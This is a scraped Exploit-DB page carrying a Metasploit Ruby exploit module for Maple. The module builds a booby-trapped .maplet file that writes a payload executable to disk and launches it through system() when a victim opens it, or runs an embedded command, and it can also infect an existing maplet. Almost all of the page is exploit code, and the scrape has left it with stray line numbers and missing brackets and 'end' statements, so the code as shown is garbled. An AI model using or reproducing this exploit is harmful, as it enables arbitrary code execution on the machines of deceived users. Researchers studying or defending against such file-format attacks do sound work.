Maple Maplet – File Creation / Command Execution (Metasploit)

Exploit Database
103 阅读

作者： Metasploit

日期： 2010-09-20
类别：
- remote
平台：
- multiple
来源：https://www.exploit-db.com/exploits/16308/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

# $Id: maple_maplet.rb 10394 2010-09-20 08:06:27Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT

include Msf::Exploit::EXE

def initialize(info = {})

super(update_info(info,

'Name' => 'Maple Maplet File Creation and Command Execution',

'Description'=> %q{

This module harnesses Maple's ability to create files and execute commands

automatically when opening a Maplet. All versions up to 13 are suspected

vulnerable. Testing was conducted with version 13 on Windows. Standard security

settings prevent code from running in a normal maple worksheet without user

interaction, but those setting do not prevent code in a Maplet from running.

In order for the payload to be executed, an attacker must convince someone to

open a specially modified .maplet file with Maple. By doing so, an attacker can

execute arbitrary code as the victim user.

'License'=> MSF_LICENSE,

'Author' =>

[

'scriptjunkie'

'Version'=> '$Revision: 10394 $',

'References' =>

[

[ 'OSVDB', '64541'],

[ 'URL', 'http://www.maplesoft.com/products/maple/' ]

'Payload'=>

{

'Space'=> 1024,

'BadChars' => '',

'DisableNops' => true,

# 'Compat'=>

# {

# 'PayloadType' => 'cmd',

# 'RequiredCmd' => 'generic perl telnet',

# }

'Targets'=>

[

[ 'Windows',

{

'Arch'=> ARCH_X86,

'Platform' => 'win'

}

[ 'Windows X64',

{

'Arch'=> ARCH_X86_64,

'Platform' => 'win'

}

[ 'Linux',

{

'Arch'=> ARCH_X86,

'Platform' => 'linux'

}

[ 'Linux X64',

{

'Arch'=> ARCH_X86_64,

'Platform' => 'linux'

}

['Universal CMD',

{

'Arch'=> ARCH_CMD,

'Platform' => ['unix', 'win', 'linux']

}

]

'DisclosureDate' => 'Apr 26 2010',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('TEMPLATE', [ false, 'The file to infect.', '']),

OptString.new('FILENAME', [ true, 'The output file.', 'msf.maplet']),

], self.class)

end

def exploit

cmd = ''

content = ''

if target['Arch'] != ARCH_CMD

#Get payload as executable on whatever platform

binary = generate_payload_exe

#Get filename and random variable name for file handle in script

fname = rand_text_alpha(3+rand(15))

if target['Platform'] == 'win'

fname << ".exe"

end

fhandle = rand_text_alpha(3+rand(15))

#Write maple commands to create executable

content = fhandle + " := fopen(\"#{fname}\",WRITE,BINARY);\n"

exe = binary.unpack('C*')

content << "writebytes(#{fhandle},[#{exe[0]}"

lines = []

1.upto(exe.length-1) do |byte|

if(byte % 100 == 0)

lines.push "]);\r\nwritebytes(#{fhandle},[#{exe[byte]}"

else

lines.push ",#{exe[byte]}"

end

content << lines.join("") + "]);\r\n"

content << "fclose(" + fhandle + ");\n"

#Write command to be executed

if target['Platform'] != 'win'

content << "system(\"chmod a+x #{fname}\");\n"

end

content << "system[launch](\"#{fname}\");\n"

else

content << "system(\"#{payload.encoded}\");\n"

end

#Then put the rest of the original maplet

if datastore['TEMPLATE'] != ''

File.open(datastore['TEMPLATE'], 'rb') do |fd|

content << fd.read( File.size(datastore['TEMPLATE']) )

end

# Create the file

print_status("Creating '#{datastore['FILENAME']}' file...")

file_create(content)

end